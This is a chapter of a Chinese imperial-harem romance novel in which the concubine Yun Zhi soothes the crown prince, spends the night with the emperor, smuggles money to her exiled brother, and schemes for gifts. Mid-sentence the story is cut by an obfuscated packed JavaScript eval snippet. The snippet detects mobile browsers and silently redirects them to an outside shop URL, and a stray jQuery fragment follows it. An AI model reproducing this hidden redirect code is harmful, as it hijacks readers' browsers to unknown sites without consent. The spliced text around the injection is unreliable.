55. 第 55 章
作品:《凤阙锁春》 贺兰烬几不可闻地叹了口气,语气彻底缓和下来,甚至带上了一丝自己都未察觉的无奈:“罢了。”
他对着小太子道:“今日之事,朕不罚你。但治国之道,不可荒废,明日需向太傅好好认错,用心听讲,知道吗?”
小太子如蒙大赦,连忙点头:“儿臣知道了,谢父皇。”
贺兰烬又看向云栀,目光在她脸上停留了片刻,继续说道:“但仍需完成今日课业。”说完便示意一旁的王朝恩,将小太子带回去。
然而,小太子刚刚经历过父皇的震怒与耳光,又在云栀这里寻到了难得的安抚,此刻安全感全系于云栀一身,哪里肯轻易离开?他死死拽着云栀的衣摆,像是抓住了救命稻草,带着哭腔固执地重复:“儿臣,儿臣今日要宿在云娘娘处,儿臣不走。”
“胡闹!”贺兰烬见他如此不听话,心头那点刚压下去的火气又冒了上来,骤然提高了音量,帝王威严尽显。
小太子被他这一吼,吓得浑身一哆嗦,刚刚止住的眼泪又啪嗒啪嗒掉了下来,扁着嘴,想哭又不敢大声哭,只是更紧地往云栀身后缩。
贺兰烬看着小太子这副惊惧委屈的模样,心中也是一阵懊恼与无力,打也打了,骂也骂了,此刻再强行拽走,只怕更伤了孩子的心。他一时竟有些束手无策,僵在了原地。
云栀一直敏锐地观察着贺兰烬的神色。她能感觉到贺兰烬今日情绪异常紧绷且反复,远非平日深沉难测的模样。
这种异常,让她心中惴惴不安。与这样状态下的贺兰烬独处,绝不明智。
于是,她趁贺兰烬心神被小太子牵制,轻轻挣脱了他方才攥过自己,此刻已微微松开的手。然后转身,蹲下来,用帕子轻柔地擦去小太子脸上的泪,声音是刻意放软的温柔:“乖,不要哭,云娘娘带你去歇息。”
小太子抽噎着,看了看脸色依旧不好的父皇,又看了看温柔安抚他的云娘娘,最终还是点了点头,顺从地让云栀牵起了手。
贺兰烬看着云栀自然而然地牵过太子,走向内殿的身影,嘴唇动了动,终究没有阻止。
他独自留在前殿,随手拿起一本书,却半晌没有翻动一页,目光不知落在何处,周身弥漫着一种沉郁而焦躁的气息。
不知过了多久,烛火摇曳下,贺兰烬愣是一动未动。王朝恩不敢抬头盯着瞧,只得侧头看向自己师父,只见高良儒摇摇头,示意他不要轻举妄动。
高良儒觑着贺兰烬的脸色,小心翼翼地上前,低声询问:“万岁爷,您看是摆驾回宫,还是……”
话未说完,贺兰烬却猛地站起身来,将手中的书重重搁在案上。他不再犹豫,大步流星地走向内殿。
内殿,云栀刚将哭累的小太子安顿在榻上,拍哄着他渐渐入睡。听到脚步声,她心中一紧,回过头,只见贺兰烬已掀帘而入。
贺兰烬的目光扫过塌上睡熟的小太子,然后落在云栀身上,那眼神深沉难辨。他没有说话,只是上前,动作并不轻柔却足够小心地,将睡得迷迷糊糊的小太子打横抱了起来。
云栀错愕地看着他,不敢阻拦。
贺兰烬抱着小太子走出内殿,径直交给等候在门外的王朝恩,低声吩咐:“送太子回寑殿,仔细伺候。”
王朝恩连忙接过,不敢多问,带着人匆匆离去。
贺兰烬转身,再次步入内殿,这一次,他目标明确。
直到内殿深处传来衣物细微的摩擦声,以及烛火被带动的摇曳光影,高良儒才如释重负般松了口气,朝着周围侍立的宫人们无声地挥了挥手。
所有宫人心领神会,低着头,屏着呼吸,悄无声息地迅速退出殿外,并轻轻掩上了宫门。
寅时三刻,天色尚是一片深沉的墨蓝,寑殿内只余墙角一盏长明灯散发着昏黄微弱的光。
贺兰烬已然起身,由守夜的宫人伺候着,动作放得极轻,准备更衣上朝。
床榻之上,云栀被这细微的动静惊扰,挣扎着想要撑起身子,眼皮沉重得几乎睁不开,意识还在睡梦的边缘徘徊,口中含糊地呢喃:“主子……奴才……”
然而,一只温热的手掌轻轻按住了她的肩膀,阻止了她起身的动作。
贺兰烬已经穿戴整齐,俯身靠近,借着微弱的光线,能看到她困倦不堪的睡颜,眼下带着淡淡的青影。他心中微软,声音压得极低,带着一丝晨起特有的沙哑,却异常柔和:“不必起身。”
他替她掖了掖被角,继续说道:“安心睡吧。朕已命人去慈宁宫回过话了,今日免了你向太后请安。”
免了请安?
云栀混沌的脑子清醒了些许,心中微讶。向太后晨昏定省是后宫女眷最重要的规矩之一,若无特殊情况,极少能被豁免。贺兰烬此举,既是体贴她昨夜劳累,也像是在向太后,乃至整个后宫,传递一个信号,他对她的庇护与纵容。
“谢,谢主子体恤。”她终究没有完全睡过去,迷迷糊糊地应了一声,声音软绵无力。
贺兰烬看着她这副顺从又困顿的模样,昨夜种种复杂心绪似乎也被这晨间的宁静冲淡了些许。他没有再多言,只是又看了她一眼,这才转身,悄然离开了寑殿。
殿门被轻轻合上,隔绝了外面的脚步声和逐渐明亮的天光。
云栀听着那远去的动静,身体和精神都彻底松懈下来,重新沉入温暖的被褥和未散的睡意之中。
江德全办事麻利,不过两日,便将悄悄带出宫,变卖人生所得的厚厚一叠银票,用不起眼的布包裹了,让曾淦悄悄捧到了云栀面前。
云栀看着那些银票,眼中闪过一丝复杂的光芒。她仔细清点,收好,却并未留下,而是重新包好,递还给曾淦,低声郑重叮嘱:“将这些,再悄悄送还给江德全,寻个绝对可靠,嘴巴严实的人,想办法将这些银钱,送去北疆,到回鹘边境交到一个名唤云卿阳的人手中。路上打点,辛苦费用,皆从这里面出,务必要快,要稳妥。”
北疆苦寒,弟弟被安置在那里,日子定然艰难。有了这笔钱,日子也能好过些。
曾淦领命,虽然不解,却还是揣着烫手的银钱,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911889|183353||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心中惴惴,却又不敢怠慢,连忙又去找江德全传话。
他前脚刚办完差事回来,后脚贺兰烬的赏赐便到了。依旧是司礼监的人捧着朱漆托盘,唱喏着皇恩浩荡。
云栀依礼谢恩,目光扫过那些绫罗绸缎,珠宝首饰。其中一支通体莹润,雕琢成展翅鸾鸟形态的紫玉发钗,在烛光下流转着高贵而神秘的光泽,一下子吸引了她的目光。
她心中甚喜,不由伸手将它拿起,在手中细细观看把玩,指尖感受着玉质的温凉与雕工的细腻。这紫玉鸾钗,比她现有的首饰都要精致贵重,更符合她的审美。
曾淦看着眼前这一幕,像是忽然想起了什么,脸上露出回忆的神色,忍不住小声感叹道:“小主戴着这钗,真好看。奴才恍惚记得,当年贵妃娘娘,好像也得过一支差不多的紫玉钗子,配上万岁爷赏的江南云锦,也是这般美艳动人,宫里无人能及呢。”
云栀的眸子在听到“江南云锦”四个字时,非但没有暗淡,反而骤然一亮,那光芒甚至比她刚才还看到紫玉鸾钗时更盛。
手中的紫玉鸾钗瞬间就不香了,那江南云锦价值连城,若她能得上那么一匹,不比她倒腾眼前这些赏赐来的更省心。
云栀深知,直接开口索要,尤其是索要江南云锦这等商品,绝非上策,极易引人侧目,甚至惹来贺兰烬反感。她需要的,是一个“不经意”的引导,让贺兰烬自己想起并且主动给予。
于是,在贺兰烬又一次前来她宫中,两人对坐闲谈时,云栀状若无意地抬手,理了理鬓边并不凌乱的发丝,指尖恰好拂过那支新得的紫玉鸾钗。
贺兰烬的目光果然被吸引,落在了那支他才赏赐下来的钗上,眼神有瞬间的恍惚。
云栀恰到好处地捕捉到了这一瞬,但她并未在钗上所做停留,而是仿佛因为理发的动作,顺势轻轻扯了扯自己身上那件宫装的袖口。
她今日穿的,是一件料子尚可,颜色也偏素净的宫装。与头上那支紫玉鸾钗相比,这身衣裳顿时显得有些不匹配,甚至有些“寒酸”。
她并未看向贺兰烬,目光垂落,长长的睫毛在眼下投下一小片阴影,侧颜沉静,唯有那轻轻一扯的袖口,泄露了少许心事。
贺兰烬的目光果然从紫玉鸾钗,移到了她素净的衣袖上,嘴角几不可察地微动了一下,那双深邃的眸子在她无意扯袖口的动作上扫过,心中已然了然。这点小心思,在他眼中如同透明。
但他并未点破,反而顺着她展示紫玉鸾钗的动作,目光落在她发间,语气平淡地称赞了一句:“这钗,很配你。”
云栀听他这般说,心中微沉,知道这一计无声暗示未能奏效。贺兰烬看穿了,却不肯接招。
她心思婉转,脸上却不露分毫,反而因他这句称赞,适时地泛起一抹红晕,仿佛羞涩。她起身,假意要为贺兰烬斟茶,动作却显得有些笨拙和紧张。
就在她端着茶盏靠近时,脚下似乎被什么绊了一下,身体一个不稳,惊呼一声,手中的茶盏脱手,整个人便不小心地跌进了贺兰烬怀里。

